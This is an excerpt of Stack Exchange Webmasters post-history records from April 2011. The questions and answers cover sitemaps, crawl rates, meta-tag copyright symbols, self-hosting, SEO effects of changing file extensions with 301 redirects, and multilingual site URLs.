  <row Id="26073" PostHistoryTypeId="2" PostId="11510" RevisionGUID="112c3d36-392a-4f0f-82ce-2a25497011ae" CreationDate="2011-04-01T18:17:05.803" UserId="4786" Text="Setup a [sitemap xml][1] file, and specify the frequency which your data changes. This wont force the bots to stop visiting your site, but it should reduce it.&#xD;&#xA;&#xD;&#xA;Something like this:&#xD;&#xA;&#xD;&#xA;    &lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;&#xD;&#xA;    &lt;urlset xmlns=&quot;http://www.sitemaps.org/schemas/sitemap/0.9&quot;&gt;&#xD;&#xA;       &lt;url&gt;&#xD;&#xA;          &lt;loc&gt;http://www.example.com/&lt;/loc&gt;&#xD;&#xA;          &lt;lastmod&gt;2005-01-01&lt;/lastmod&gt;&#xD;&#xA;          &lt;changefreq&gt;weekly&lt;/changefreq&gt;&#xD;&#xA;          &lt;priority&gt;0.8&lt;/priority&gt;&#xD;&#xA;       &lt;/url&gt;&#xD;&#xA;    &lt;/urlset&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sitemaps.org/" />
  <row Id="26074" PostHistoryTypeId="2" PostId="11511" RevisionGUID="8de95719-bc8d-42af-89e5-784844b4e9c2" CreationDate="2011-04-01T18:17:24.573" UserId="6355" Text="Google Webmaster Tools &gt; YourSite &gt; Site configuration &gt; Settings &gt; Crawl rate &gt; Set costum crawl rate.&#xD;&#xA;&#xD;&#xA;The slowest rate possible is 500seconds between requests.&#xD;&#xA;&#xD;&#xA;This link might help your &quot;server people&quot;:&#xD;&#xA;http://googlewebmastercentral.blogspot.com/2006/09/how-to-verify-googlebot.html&#xD;&#xA;" />
  <row Id="26075" PostHistoryTypeId="2" PostId="11512" RevisionGUID="8a9fd295-23d6-47b9-98d5-8f32dcb44a62" CreationDate="2011-04-01T18:28:09.850" UserId="6501" Text="Within my copyright meta data I have the following&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    &lt;meta name=&quot;copyright&quot; content=&quot;example.com &amp;#169; Copyright 2011 by Me. All Rights Reserved.&quot; /&gt;&#xD;&#xA;&#xD;&#xA;Is this correct, or should I simply have the following? &#xD;&#xA;&#xD;&#xA;    &lt;meta name=&quot;copyright&quot; content=&quot;example.com © Copyright 2011 by Me. All Rights Reserved.&quot; /&gt;" />
  <row Id="26076" PostHistoryTypeId="1" PostId="11512" RevisionGUID="8a9fd295-23d6-47b9-98d5-8f32dcb44a62" CreationDate="2011-04-01T18:28:09.850" UserId="6501" Text="Within my HTML meta data, should it be © or &amp;#169;" />
  <row Id="26077" PostHistoryTypeId="3" PostId="11512" RevisionGUID="8a9fd295-23d6-47b9-98d5-8f32dcb44a62" CreationDate="2011-04-01T18:28:09.850" UserId="6501" Text="&lt;meta-description&gt;&lt;meta&gt;" />
  <row Id="26078" PostHistoryTypeId="2" PostId="11513" RevisionGUID="f5eae44e-72be-43c0-854f-4c0a183f6e50" CreationDate="2011-04-01T18:31:18.483" UserId="6355" Text="It seems you can config ckeditor to preserves non-ascii characters as text:&#xD;&#xA;&#xD;&#xA;http://docs.cksource.com/ckeditor_api/symbols/CKEDITOR.config.html#.entities&#xD;&#xA;http://docs.cksource.com/ckeditor_api/symbols/src/core_config.js.html&#xD;&#xA;" />
  <row Id="26079" PostHistoryTypeId="2" PostId="11514" RevisionGUID="5f3c9d25-4078-4a81-88ec-56578c0b6a13" CreationDate="2011-04-01T18:34:04.603" UserId="4786" Text="If the symbol is found anywhere in your file, it will fail WC3 verification. Based on that I would think `&amp;#169` is correct.&#xD;&#xA;&#xD;&#xA;Test it out here: http://validator.w3.org/check" />
  <row Id="26080" PostHistoryTypeId="2" PostId="11515" RevisionGUID="c154473e-ee54-4e00-be20-4d8dde32743b" CreationDate="2011-04-01T18:35:43.187" UserId="6355" Text="Why do you want to put the © symbol in a meta tag that already has the attribute name=&quot;copyright&quot;?" />
  <row Id="26081" PostHistoryTypeId="5" PostId="11497" RevisionGUID="7e8735ad-c8f3-4e31-ae61-eee5882a10de" CreationDate="2011-04-01T19:08:34.870" UserId="4786" Comment="fixed caps" Text="I currently developed a new website. The website is plain html. How can I host this website on my own computer. My computer is always connected to the Internet. How can I host my website on my computer and give it a domain name which will be known to everyone outside using the Internet?" />
  <row Id="26082" PostHistoryTypeId="24" PostId="11497" RevisionGUID="7e8735ad-c8f3-4e31-ae61-eee5882a10de" CreationDate="2011-04-01T19:08:34.870" Comment="Proposed by 4786 approved by 1064 edit id of 93" />
  <row Id="26089" PostHistoryTypeId="2" PostId="11517" RevisionGUID="915e987d-0af1-4455-b17b-9e2362125d7d" CreationDate="2011-04-01T20:14:14.193" UserId="6503" Text="I'ld like to have a download on my website for a piece of software with a &quot;pay what you want&quot; option.&#xD;&#xA;So what's the best practice to distribute digital files like that? &#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;Bob&#xD;&#xA;" />
  <row Id="26090" PostHistoryTypeId="1" PostId="11517" RevisionGUID="915e987d-0af1-4455-b17b-9e2362125d7d" CreationDate="2011-04-01T20:14:14.193" UserId="6503" Text="Digital download - best practice" />
  <row Id="26091" PostHistoryTypeId="3" PostId="11517" RevisionGUID="915e987d-0af1-4455-b17b-9e2362125d7d" CreationDate="2011-04-01T20:14:14.193" UserId="6503" Text="&lt;download&gt;" />
  <row Id="26092" PostHistoryTypeId="2" PostId="11518" RevisionGUID="77529e69-e39c-4696-b5ac-929cac1bd68a" CreationDate="2011-04-01T20:42:14.753" UserId="6504" Text="OK so here is the deal I am using a plugin called stray quotes for a website,http://ohmsgaming.com/quotes-from-last-session/ , It has some really nice functions I can't find in other plugins like that it has a simple to add quotes to the database etc. Thing is, not only was the styling odd and I had to fix all that. But it only displays text. It doesn't allow comments for each quote, voting, or sharing. This is something I have been asked to make, and for the life of me I can't figure out how.&#xD;&#xA;&#xD;&#xA;Here are some of my ideas:&#xD;&#xA;&#xD;&#xA;Forget the plugin, use wordpress posts instead, make it so only that post type is shown on that page only. This allows comments to be tied in already etc. Problems here are: Styling the post, and only that type, and making it easy to add quotes for admins and users.&#xD;&#xA;&#xD;&#xA;Other thought, modify the stray quote plugin, add the functions to allow commenting etc, since it already has the easy to add parts. Problems: Lots of code to have to read, No clue how to make it so when you hit reply it opens a new &quot;page&quot; with the quote and all its comments in paginated form.&#xD;&#xA;&#xD;&#xA;So my questions:&#xD;&#xA;&#xD;&#xA;Can anyone help me with either of the above. I have looked through tons of stuff and I can't figure out what to do, there is so many freaking things. The ideal thing would be to have a plugin like stray quotes that had a simple to add quotes section for all; stored them separately from posts; allowed comments(with pagination) and voting; and styled well.&#xD;&#xA;&#xD;&#xA;P.S. the WordPress theme I am using is suffusion, which has tons of custom abilities.&#xD;&#xA;" />
  <row Id="26093" PostHistoryTypeId="1" PostId="11518" RevisionGUID="77529e69-e39c-4696-b5ac-929cac1bd68a" CreationDate="2011-04-01T20:42:14.753" UserId="6504" Text="Stary Quotes Wordpress" />
  <row Id="26094" PostHistoryTypeId="3" PostId="11518" RevisionGUID="77529e69-e39c-4696-b5ac-929cac1bd68a" CreationDate="2011-04-01T20:42:14.753" UserId="6504" Text="&lt;wordpress&gt;&lt;plugin&gt;&lt;post&gt;&lt;comments&gt;" />
  <row Id="26095" PostHistoryTypeId="2" PostId="11519" RevisionGUID="2e931ae5-6ef1-4c06-84e3-9f5d49668e58" CreationDate="2011-04-01T20:43:46.097" UserId="6198" Text="do you mean that someone should pay for your software before they buy like any other online ordering site? then you should use paypal for the payment and setup a secure cart using something like zencart. and also you will have to buy an SSL certificate to show that your customers can trust you and the site is secure." />
  <row Id="26096" PostHistoryTypeId="25" PostId="11512" RevisionGUID="80d903fe-3796-4a48-8944-c0d78db8791a" CreationDate="2011-04-01T21:08:46.390" Comment="http://twitter.com/#!/StackWebmasters/status/53926802648875009" />
  <row Id="26097" PostHistoryTypeId="2" PostId="11520" RevisionGUID="193c21cb-6a45-418f-aa07-44136313c762" CreationDate="2011-04-01T21:32:43.013" UserId="6198" Text="Hey I was just looking for a script to compress all my files on my server through FTP or any other thing. I want to keep the compressed files as backup...&#xD;&#xA;And i know that many hosts support it, but i'm using godaddy and there's a limit of 20MB on compressing. is there any script without any limit which i can run and compress all the files and download and keep as backup?&#xD;&#xA;thanks." />
  <row Id="26098" PostHistoryTypeId="1" PostId="11520" RevisionGUID="193c21cb-6a45-418f-aa07-44136313c762" CreationDate="2011-04-01T21:32:43.013" UserId="6198" Text="Is there any web script to compress files on server?" />
  <row Id="26099" PostHistoryTypeId="3" PostId="11520" RevisionGUID="193c21cb-6a45-418f-aa07-44136313c762" CreationDate="2011-04-01T21:32:43.013" UserId="6198" Text="&lt;server&gt;&lt;ftp&gt;&lt;compression&gt;&lt;backups&gt;" />
  <row Id="26100" PostHistoryTypeId="2" PostId="11521" RevisionGUID="61e0e907-d2d2-4d67-837e-523d6d8f62cb" CreationDate="2011-04-01T21:42:19.767" UserId="6389" Text="When using Plesk 9.5 the default DNS template only includes one nameserver. An NS record of ns.&lt;domin&gt; and an a record ns.&lt;domain&gt; pointing to the default ip.&#xD;&#xA;&#xD;&#xA;Two nameserves are mandatory, so why would plesk have only one in the template. Am I missing something? &#xD;&#xA;&#xD;&#xA;I have found several hosting company guides that all explain the process of adding an extra name server to the template, that explain what I mean.&#xD;&#xA;&#xD;&#xA;https://help.fasthosts.co.uk/app/answers/detail/a_id/727/related/1/session/L2F2LzEvdGltZS8xMzAxNjkxOTczL3NpZC9EemppX3Bxaw%3D%3D&#xD;&#xA;&#xD;&#xA;http://www.jodohost.com/plesk/Creating_Nameservers/creating_nameservers.html&#xD;&#xA;&#xD;&#xA;" />
  <row Id="26101" PostHistoryTypeId="1" PostId="11521" RevisionGUID="61e0e907-d2d2-4d67-837e-523d6d8f62cb" CreationDate="2011-04-01T21:42:19.767" UserId="6389" Text="why does Plesk set up only one nameserver by default?" />
  <row Id="26102" PostHistoryTypeId="3" PostId="11521" RevisionGUID="61e0e907-d2d2-4d67-837e-523d6d8f62cb" CreationDate="2011-04-01T21:42:19.767" UserId="6389" Text="&lt;dns&gt;&lt;plesk&gt;" />
  <row Id="26103" PostHistoryTypeId="2" PostId="11522" RevisionGUID="c682789c-f807-403e-8432-812a53206bde" CreationDate="2011-04-01T21:53:30.240" UserId="6389" Text="i think this might me what your looking for&#xD;&#xA;http://www.phpmybackuppro.net/&#xD;&#xA;&#xD;&#xA;I use this for sites that on cheap shared hosting. It's main feature is to backup MYSQL, this makes it easy to automate rather than going via a control panel. however it will also compress whole directories. it can save the backups to the server, send them to a remote FTP server or email them." />
  <row Id="26104" PostHistoryTypeId="2" PostId="11523" RevisionGUID="e32d4c9a-36c4-4dca-a5a1-54adebbcbecc" CreationDate="2011-04-01T23:13:28.280" UserId="6198" Text="first of all, you should be aware your computer needs to be on all the time. As soon as you shut down your computer, your site goes down.&#xD;&#xA;&#xD;&#xA;That said here's how to do it:&#xD;&#xA;1) First check with your ISP if you have a fixed IP address, a dynamic IP wont work. After that check with your ISP if they allow hosting sites. Some dont.&#xD;&#xA;&#xD;&#xA;2) Download any web server like the Apache server, if you are on Ubuntu, [here's a simple tutorial to do it][1]&#xD;&#xA;&#xD;&#xA;3) After installing copy all your files in the www folder or htdocs whichever is there.&#xD;&#xA;&#xD;&#xA;4) Put it online, on linux it will already be...&#xD;&#xA;&#xD;&#xA;5) Point your domain name to your fixed IP address and redirect ports if necessary.&#xD;&#xA;&#xD;&#xA;6) It should work. Just recommend you to take some book or professional tutorial before doing that on a production site. If you are just trying, experiment with it.&#xD;&#xA;&#xD;&#xA;Just one advice, take a hosting, its better because the servers are handled by professional companies and have almost 100% uptime guarantee. Also in the long term they will be cheaper because you will incur high electricity and internet costs in your home hosting.&#xD;&#xA;&#xD;&#xA;Hope that helped you.&#xD;&#xA;&#xD;&#xA;  [1]: http://arjunbajaj.com/2011/lamp-ubuntu/" />
  <row Id="26105" PostHistoryTypeId="25" PostId="11497" RevisionGUID="93183a77-8aff-4dc6-85b1-eec38f956e75" CreationDate="2011-04-02T00:08:46.533" Comment="http://twitter.com/#!/StackWebmasters/status/53972101710876672" />
  <row Id="26106" PostHistoryTypeId="2" PostId="11524" RevisionGUID="34fd9ebc-75a5-4e0c-9f12-4b802b67dae1" CreationDate="2011-04-02T00:10:18.270" UserId="6252" Text="This is a tricky question. The reason being that there is not one correct answer. &#xD;&#xA;&#xD;&#xA;Different folks have a different approach. For instance, Google has no relation to their flagship product which is search or find. &#xD;&#xA;&#xD;&#xA;On the flip side, Twitter does have relation to the product. Twitter as in tweeting or chirping thus the product. It's brandable yet it defines the product itself.&#xD;&#xA;&#xD;&#xA;Same goes for Facebook or Thefacebook as it originally started. The concept is to stay in touch with your connections through your identity and what better way to define your identity than your own picture, thus the name Facebook. &#xD;&#xA;&#xD;&#xA;To answer your concern about global brand, there is no set rule. The idea is that once the brand (or the product behind the brand) gets momentum, it automatically captures the mindset of the global audience. &#xD;&#xA;&#xD;&#xA;The best way I usually come up with a brandable name is by using the following method:&#xD;&#xA;&#xD;&#xA;a) Come up with a few brandable names which defines the product you are working on.&#xD;&#xA;&#xD;&#xA;b) Ask your friends and family members about the first thing that comes to their mind when you tell them about the brandable names. Go through the entire list of names you came up with.&#xD;&#xA;&#xD;&#xA;c) Give them a brief idea of what the product is about and/or what the product you are working on will do and tell them to define it in 1 word. &#xD;&#xA;&#xD;&#xA;This usually gives you a very narrow and precise list of ideas to get going and you can sort of refine the name from there on." />
  <row Id="26107" PostHistoryTypeId="17" PostId="11526" RevisionGUID="91633cba-f7a8-4263-8317-547e4fee26b9" CreationDate="2011-04-02T01:51:17.640" UserId="-1" Comment="from http://stackoverflow.com/questions/5520526/seo-changing-file-extension/5520537#5520537" Text="" />
  <row Id="26108" PostHistoryTypeId="17" PostId="11527" RevisionGUID="0a54d68f-d8da-444d-9f92-dd384fc08ad4" CreationDate="2011-04-02T01:51:17.640" UserId="-1" Comment="from http://stackoverflow.com/questions/5520526/seo-changing-file-extension/5520540#5520540" Text="" />
  <row Id="26109" PostHistoryTypeId="17" PostId="11528" RevisionGUID="d7468c4f-9bb1-410b-9e71-8f847ab0dcd6" CreationDate="2011-04-02T01:51:17.640" UserId="-1" Comment="from http://stackoverflow.com/questions/5520526/seo-changing-file-extension/5520542#5520542" Text="" />
  <row Id="26110" PostHistoryTypeId="2" PostId="11526" RevisionGUID="b978df04-8f69-4c3b-ae22-0e581b5b253f" CreationDate="2011-04-02T01:40:42.057" UserDisplayName="Lucas d. Prim" Text="absolutely no disadvantage as far as i know!" />
  <row Id="26111" PostHistoryTypeId="2" PostId="11527" RevisionGUID="52026254-5455-46ce-8a97-551afbc03c9f" CreationDate="2011-04-02T01:41:13.333" UserDisplayName="anon" Text="There certainly can be an SEO impact.  At the very least you should create 301 redirects so that the search engines -- and anyone who has bookmarks -- won't find broken pages." />
  <row Id="26112" PostHistoryTypeId="2" PostId="11528" RevisionGUID="029ba64b-7859-4cda-be53-882558748110" CreationDate="2011-04-02T01:41:34.450" UserId="6411" Text="Read [**HERE**][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Rewrite_engine" />
  <row Id="26113" PostHistoryTypeId="2" PostId="11525" RevisionGUID="661ec6eb-8ce6-468d-b02a-5cd64871db20" CreationDate="2011-04-02T01:37:47.473" UserDisplayName="Charles Yeung" Text="I am going to change the file extension from &quot;.htm&quot; to &quot;.php&quot;, is there any disadvantage with this action?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="26114" PostHistoryTypeId="1" PostId="11525" RevisionGUID="661ec6eb-8ce6-468d-b02a-5cd64871db20" CreationDate="2011-04-02T01:37:47.473" UserDisplayName="Charles Yeung" Text="SEO - Changing file extension" />
  <row Id="26115" PostHistoryTypeId="3" PostId="11525" RevisionGUID="661ec6eb-8ce6-468d-b02a-5cd64871db20" CreationDate="2011-04-02T01:37:47.473" UserDisplayName="Charles Yeung" Text="&lt;seo&gt;" />
  <row Id="26116" PostHistoryTypeId="17" PostId="11525" RevisionGUID="aa7f0c2a-d890-4a2d-bbbd-71151b8228ef" CreationDate="2011-04-02T01:51:17.640" UserId="-1" Comment="from http://stackoverflow.com/questions/5520526/seo-changing-file-extension" Text="" />
  <row Id="26117" PostHistoryTypeId="2" PostId="11529" RevisionGUID="339cb2bb-3083-4b4f-b203-926648183c53" CreationDate="2011-04-02T01:58:16.410" UserId="1253" Text="Yes. If you change the file extension of a live site the following consequences will occur:&#xD;&#xA;&#xD;&#xA; - You are essentially changing the URL and making all of your pages look like new pages to the search engines. &#xD;&#xA; - Any links you had to those pages will essentially be lost &#xD;&#xA; - You will need to have the search engines re-index every page that has the new extension &#xD;&#xA; - While the search engines make the transition from your old URLs to your new URLs anyone who finds your site in the search results will be greeted with a 404 error on your website&#xD;&#xA; - Anyone who had your pages bookmarked will no longer be able to find those pages (until they update their bookmarks)&#xD;&#xA;&#xD;&#xA;Fortunately all this is easy to solve. You can do a 301 redirect from the ld URLs to the new URLs. This is very easy if the file names are staying the same and only the file extensions are changing. To do the 301 redirect for your pages just create a file called .htaccess and place it in your root directory. Place this inside of it:&#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteRule (.*)\.htm$ /$1.php [R=301,L]&#xD;&#xA;&#xD;&#xA;FYI, file extension does not affect your rankings. In other words, .php is not better or worse then .html or .aspx, etc. (Actually if someone is searching for &quot;php&quot; you'll notice Google will highlight the file extension in the search results. But if this is a factor in their rankings it probably is a small one)." />
  <row Id="26118" PostHistoryTypeId="5" PostId="11529" RevisionGUID="f8d055a0-c489-42ee-8ba6-35e1548b70e2" CreationDate="2011-04-02T02:03:27.440" UserId="1253" Comment="added 2 characters in body; added 487 characters in body; deleted 1 characters in body" Text="Yes. If you change the file extension of a live site the following consequences will occur:&#xD;&#xA;&#xD;&#xA; - You are essentially changing the URLs and making all of your pages look like new pages to the search engines. &#xD;&#xA; - Any links you had to those pages will essentially be lost &#xD;&#xA; - You will need to have the search engines re-index every page that has the new extension &#xD;&#xA; - While the search engines make the transition from your old URLs to your new URLs anyone who finds your site in the search results will be greeted with a 404 error on your website&#xD;&#xA; - Anyone who had your pages bookmarked will no longer be able to find those pages (until they update their bookmarks)&#xD;&#xA;&#xD;&#xA;Fortunately all this is easy to solve. You can do a 301 redirect from the old URLs to the new URLs. This is very easy if the file names are staying the same and only the file extensions are changing. To do the 301 redirect for your pages just create a file called .htaccess and place it in your root directory. Place this inside of it:&#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteRule (.*)\.htm$ /$1.php [R=301,L]&#xD;&#xA;&#xD;&#xA;What this does is tell the search engines, and web browsers, that your pages have moved and where to find them (it tells them that the pages that ended with .htm now end with .php). The search engines will then update their indexes with the new pages and also credit whatever links you have to the old URLs to the new URLs (although a small amount of those links' value is lost). Web browser will automatically redirect the user to the new page and they won't even know it happened.&#xD;&#xA;&#xD;&#xA;FYI, file extension does not affect your rankings. In other words, .php is not better or worse then .html or .aspx, etc. (Actually if someone is searching for &quot;php&quot; you'll notice Google will highlight the file extension in the search results. But if this is a factor in their rankings it probably is a small one)." />
  <row Id="26119" PostHistoryTypeId="2" PostId="11530" RevisionGUID="00d88f18-76d9-46c3-beab-d184cc186cbb" CreationDate="2011-04-02T02:51:37.843" UserId="6510" Text="It would probably be telling to do the math on how large your video is vs. how many full downloads you expect per month. If the numbers look good, you could probably stick with your Hostgator account. If it looks as if your estimates will approach the ceiling set by Hostgator, perhaps leading to overages, you should go with S3. S3 also some some nice reporting tools." />
  <row Id="26120" PostHistoryTypeId="25" PostId="11525" RevisionGUID="d6c0249e-240c-4b50-a9e1-fffb9f9673ee" CreationDate="2011-04-02T03:08:46.340" Comment="http://twitter.com/#!/StackWebmasters/status/54017399678173184" />
  <row Id="26121" PostHistoryTypeId="2" PostId="11531" RevisionGUID="e6039aed-802f-4c00-b0fc-66835f1c3c7f" CreationDate="2011-04-02T04:55:21.830" UserId="5809" Text="I have a site with events (hikes).  I have been working on making the hike page have higher conversion rates of signing up users and making the users RSVP.  Here is an example page:&#xD;&#xA;http://www.comehike.com/hikes/scheduled_hike.php?hike_id=145&#xD;&#xA;&#xD;&#xA;What are some things I could do to improve conversion and decrease bounce rate?&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;Alex" />
  <row Id="26122" PostHistoryTypeId="1" PostId="11531" RevisionGUID="e6039aed-802f-4c00-b0fc-66835f1c3c7f" CreationDate="2011-04-02T04:55:21.830" UserId="5809" Text="Can you recommend me how to increase conversion for this page?" />
  <row Id="26123" PostHistoryTypeId="3" PostId="11531" RevisionGUID="e6039aed-802f-4c00-b0fc-66835f1c3c7f" CreationDate="2011-04-02T04:55:21.830" UserId="5809" Text="&lt;websites&gt;&lt;conversions&gt;" />
  <row Id="26124" PostHistoryTypeId="10" PostId="11531" RevisionGUID="c14f8d44-45e3-4a5e-81c0-a17b79c83a99" CreationDate="2011-04-02T05:51:57.317" UserId="1253" CloseReasonId="7" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="26125" PostHistoryTypeId="25" PostId="11503" RevisionGUID="e1cafa89-9b2a-4e52-8c63-02ba67666afd" CreationDate="2011-04-02T06:08:46.473" Comment="http://twitter.com/#!/StackWebmasters/status/54062698333347840" />
  <row Id="26126" PostHistoryTypeId="2" PostId="11532" RevisionGUID="e890b9b9-e046-4310-babc-b39fd6fb510e" CreationDate="2011-04-02T08:28:39.983" UserId="6513" Text="I'm in the process of improving the SEO in one of our client's multilingual sites.  Currently the site passes a user the site in their preferred language by checking for a language cookie set by the system last time it was visited.  If the cookie does not exist it looks for an &quot;Accept-Language&quot; header from the browser and checks for a language supported by the site. If that fails it defaults to a language based on some preset defaults for GEO-Location.  Once we have a language determined the site will return the page in the language determined with no change to the URL and with all the proper meta tags for that language. So if a Spanish speaking user requests domain.com/venue/access/ then they we'll see Spanish while an English speaker would see English. Of course if the user clicks a language select link with a query string including lang=?? (?? would be es,en, ect.) their cookie will be changed to that language and they'll get that language from that point forward.&#xD;&#xA;&#xD;&#xA;The problem with this approach is, while usually great for a person, crawlers (currently) don't pass an &quot;Accept-Language&quot; header when they request a page.  This means that a result shown for people using Google, Bing, ect. will usually be in the default language or sometimes a completely different language depending on the path the crawler has taken to a page and how it decided to index it.  This is killing our SEO and click-though outside of the default language.&#xD;&#xA;&#xD;&#xA;We're working with two ideas for how we're going to change handling of user language.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;**Version 1** - All languages have a sub-directory&#xD;&#xA;If a user hits a URL without a language directory we'll check for the users language by following the following steps in order until we get a match.&#xD;&#xA;&#xD;&#xA; 1. User has cookie for language preference. &#xD;&#xA; 2. Check the browser headers for a supported language&#xD;&#xA; 3. Fallback to a site default language based on GEO-Location.&#xD;&#xA;&#xD;&#xA;Once a language has been determined the system will set a cookie, do a 301 direct and add the language sub-directory to the URL which will be parsed by mod-rewrite and passed as a query string parameter.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;**Version 2** - All NEW languages have a sub-directory&#xD;&#xA;The first time a user hits the site if they hit a URL without a language directory we'll check for the users language by following the following steps in order until we get a match.&#xD;&#xA;&#xD;&#xA; 1. User has cookie for language preference. &#xD;&#xA; 2. Check the browser headers for a supported language&#xD;&#xA;&#xD;&#xA;If a supported language has been detected the system will set a cookie. If the language is not the default language the system will do a 301 direct and add the language sub-directory to the URL if the language is not the default site language which will be parsed by mod-rewrite and passed as a query string parameter.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;Any input on the better option?&#xD;&#xA;&#xD;&#xA;How should we deal with Canonical URL's depending on which option we choose, should canonical URL's point to the main URL without the language sub-directory or should they point to the version for the current language sub-directory? &#xD;&#xA;&#xD;&#xA;The client would like, if possible, to have counters for social networking reflect the totals for a page in all languages and we're assuming having separate sub-directories for language will prevent this, unless we use a canonical to a single URL which will probably screw up crawlers and negate the whole point of the language changes.&#xD;&#xA;&#xD;&#xA;Is there an ideal solution I might be missing?&#xD;&#xA;" />
  <row Id="26127" PostHistoryTypeId="1" PostId="11532" RevisionGUID="e890b9b9-e046-4310-babc-b39fd6fb510e" CreationDate="2011-04-02T08:28:39.983" UserId="6513" Text="Multilingual sites SEO and canonical" />
  <row Id="26128" PostHistoryTypeId="3" PostId="11532" RevisionGUID="e890b9b9-e046-4310-babc-b39fd6fb510e" CreationDate="2011-04-02T08:28:39.983" UserId="6513" Text="&lt;seo&gt;&lt;canonical-url&gt;&lt;multilingual&gt;" />
  <row Id="26129" PostHistoryTypeId="2" PostId="11533" RevisionGUID="31cd709a-17a8-497d-98fd-40a9dfe211a2" CreationDate="2011-04-02T09:06:37.763" UserId="6513" Text="Try testing using facebook's URL linter.&#xD;&#xA;&#xD;&#xA;http://developers.facebook.com/tools/lint/&#xD;&#xA;&#xD;&#xA;Make sure Facebooks bot can access the page. &#xD;&#xA;&#xD;&#xA;Try implementing the open graph protocol to asset facebook in choosing an image.&#xD;&#xA;&#xD;&#xA;Also, keep in mind that facebook caches pages for a period of time, if the linter is working but images are still no showing when using like and share this could be the problem." />
  <row Id="26130" PostHistoryTypeId="25" PostId="11532" RevisionGUID="4b44eab8-9ef8-4392-b68f-f933641385bb" CreationDate="2011-04-02T09:08:46.907" Comment="http://twitter.com/#!/StackWebmasters/status/54107998754316288" />
  <row Id="26131" PostHistoryTypeId="2" PostId="11534" RevisionGUID="0058290a-dad4-493c-88bb-6acc0efb535b" CreationDate="2011-04-02T09:11:33.273" UserId="5858" Text="Just to save money as my domain list gets longer, I want to book in advance domains.&#xD;&#xA;I want to save money by buying .info domains rather than .com.&#xD;&#xA;Will it affect SEO rankings in any way?&#xD;&#xA;" />
  <row Id="26132" PostHistoryTypeId="1" PostId="11534" RevisionGUID="0058290a-dad4-493c-88bb-6acc0efb535b" CreationDate="2011-04-02T09:11:33.273" UserId="5858" Text="Will registering .info domain affect any seo worth?" />
  <row Id="26133" PostHistoryTypeId="3" PostId="11534" RevisionGUID="0058290a-dad4-493c-88bb-6acc0efb535b" CreationDate="2011-04-02T09:11:33.273" UserId="5858" Text="&lt;seo&gt;&lt;domains&gt;" />
  <row Id="26134" PostHistoryTypeId="6" PostId="11495" RevisionGUID="56618014-87b9-4bc6-9160-dbafbf32be5a" CreationDate="2011-04-02T09:19:45.307" UserId="6109" Comment="edited tags" Text="&lt;php&gt;&lt;email&gt;&lt;testing&gt;" />
  <row Id="26135" PostHistoryTypeId="2" PostId="11535" RevisionGUID="e6ad7035-4055-4ff0-b55d-ffa3e2734d1f" CreationDate="2011-04-02T09:35:26.110" UserId="6513" Text="I haven't heard of any cases where a non country specific domain like info affects SEO negatively.&#xD;&#xA;&#xD;&#xA;Only country specific domains like uk, jp, ect. should have any affect." />
  <row Id="26136" PostHistoryTypeId="2" PostId="11536" RevisionGUID="196a3272-430f-4790-a7a7-a26c1e453208" CreationDate="2011-04-02T10:18:13.557" UserId="6113" Text="I do not know the capabilities of the CMS you are using but this is what I would suggest.&#xD;&#xA;&#xD;&#xA;First of all, try avoiding URL parameters and go for a clear URL scheme. For a &quot;Contact&quot; page this could look like this:&#xD;&#xA;&#xD;&#xA;English version: http://domain.com/en/contact&#xD;&#xA;Polish version: http://domain.com/pl/kontakt&#xD;&#xA;&#xD;&#xA;Or:&#xD;&#xA;&#xD;&#xA;English version: http://en.domain.com/contact&#xD;&#xA;Polish version: http://pl.domain.com/kontakt&#xD;&#xA;&#xD;&#xA;This way the URL is always easy to understand for the user. Do not use English URLs for non-English pages, so for a Polish page use &quot;kontakt&quot; instead of &quot;contact&quot;. After all, if an URL is to be comprehensible for a visitor, it needs to be in the language he or she has chosen to use.&#xD;&#xA;&#xD;&#xA;If you want to inform search engines about the language of the current page, you have three options that you can use in tandem:&#xD;&#xA;&#xD;&#xA;1. Send the HTTP header `Content-Language: xx`.&#xD;&#xA;2. Use the HTML META section: `&lt;meta http-equiv=&quot;Content-Language&quot; content=&quot;xx&quot; /&gt;`. Remember that this is obsolete in HTML5.&#xD;&#xA;3. Use the 'lang&quot; attribute in the HTML element. `&lt;html lang=&quot;xx&quot;&gt;`&#xD;&#xA;&#xD;&#xA;Hope this helps!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="26137" PostHistoryTypeId="2" PostId="11537" RevisionGUID="ef08259c-7b9c-4f30-9865-3ee23b4b2dc2" CreationDate="2011-04-02T11:26:18.250" UserId="6515" Text="IMO, Google will show the preferred domain in the results if it determines that `http://mydomain.com/foo` is same as `http://www.mydomain.com`. Google crawls both version of your website. So, if it has crawled `http://mydomain.com/bar` but not `http://www.mydomain.com/bar`, it might show `http://mydomain.com/bar` until the time it concludes that both pages are same.&#xD;&#xA;&#xD;&#xA;Nevertheless, this will still confuse other search engines that do not let you set a preferred domain. Best cross-search-engine solution is to implement a 301 Permanent Redirect for your website that tells browsers and bots the correct location of a page. With 301 Redirect, the bot will not index the wrong version of the page, and, in case of Google, the page rank is carried over to the redirected page. &#xD;&#xA;&#xD;&#xA;[Here is how you do it][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://911-need-code-help.blogspot.com/2011/03/redirecting-visitors-to-preferred.html" />
